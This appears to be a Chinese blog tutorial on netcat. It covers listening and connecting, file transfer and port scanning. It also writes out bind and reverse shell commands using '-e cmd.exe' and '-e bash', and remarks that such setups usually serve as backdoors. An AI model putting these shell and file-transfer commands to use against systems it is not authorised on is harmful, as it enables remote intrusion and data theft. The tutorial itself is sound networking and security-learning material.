netcat可以作为类似于telent的客户端,也可以监听某个端口作为服务器,还可以作为扫描工具扫描对方主机的端口,还可以用来传输文件,不相信吗?听我慢慢道来:)
首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端,
就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.好了,废话少说,进入正题吧.:p
网上有两种版本的netcat,一个是@stake公司的netcat,http://www.atstake.com/research/tools/network_utilities/ 也就是最初的版本,还有一个是GNU的netcat.http://netcat.sourceforge.net/download.php 我个人更倾向于使用GNU的netcat,因为它的功能更多,不过GNU的没有windows平台的版本:confused:
只介绍windows平台上一些操作。
下载好nc.exe后,放到c:\windows目录下
nc -l -p <portnumber> //这里-l参数表明nc处于监听模式,-p指定端口号.
nc -l -p 1234[假设这台主机ip为192.168.0.1]
然后从客户端输入,nc 192.168.0.1 1234 然后你从任一端输入的数据就会显示在另一端了.其实netcat的server和client的区别并不大,区别仅仅在于谁执行了-l来监听端口,一旦连接建立以后,就没有什么区别了.从这里我们也可以了解netcat的工作原理了,通过网络链接读写数据.[It is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol]--@stake主页是这么说的.
nc有一个-e的选项,用来指定在连接后执行的程序.
在windows平台上可以指定-e cmd.exe[winxp,win2000,]如果是98就指定command.exe.linux则指定-e bash,或者任何你喜欢的shell,或者是你自己编写的程序,通常是做为后门:p
指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端.
server: nc -l -p 1234 -e bash
client: nc 192.168.0.1 1234 就可以远程登陆server了
其实我们不一定非要在server端指定-e,也可以在client端指定.
server: nc -l -p 1234
client:nc -e cmd.exe 192.168.0.1 1234 .这样,就相当于在server上远程登陆client了.我前面说过,有关client和server的区分是没有什么意义的.谁做为telnet server的标准只有一个,谁执行了-e [shell].
server:nc -v -l -p 1234 > c:\1.txt
client:nc -v -n 192.168.0.1 1234 < c:\1.txt
输入命令后,client就可以将1.txt通过1234端口发送出去,而server则会开放1234端口接受1.txt,并在C盘根目录下创建1.txt
-v:显示端口信息
nc -z -w 2 -v -v http://www.somewhere.com/ port[,port[,port-port]]
-z 指定zero-I/O 模式,它让netcat禁止任何来自源系统的I/O,如果不指定它,netcat会无限期的挂起端口.所以在网络扫描时要指定-z选项.
-w 指定超时时间,单位为秒
-v 详细模式
例: nc -z -w 2 -v -v http://www.somewhere.com/ 20-30
不过我不赞成使用netcat来扫描,因为我觉得它的速度不够快,而且得到的信息不够全,而且更重要的是不够隐蔽.nmap倒是个上好的选择,如果有时间,我会在另一篇文章里讨论nmap的超酷功能.[做做广告先:p]
参见:http://www.cnblogs.com/starspace/archive/2009/01/15/1376288.html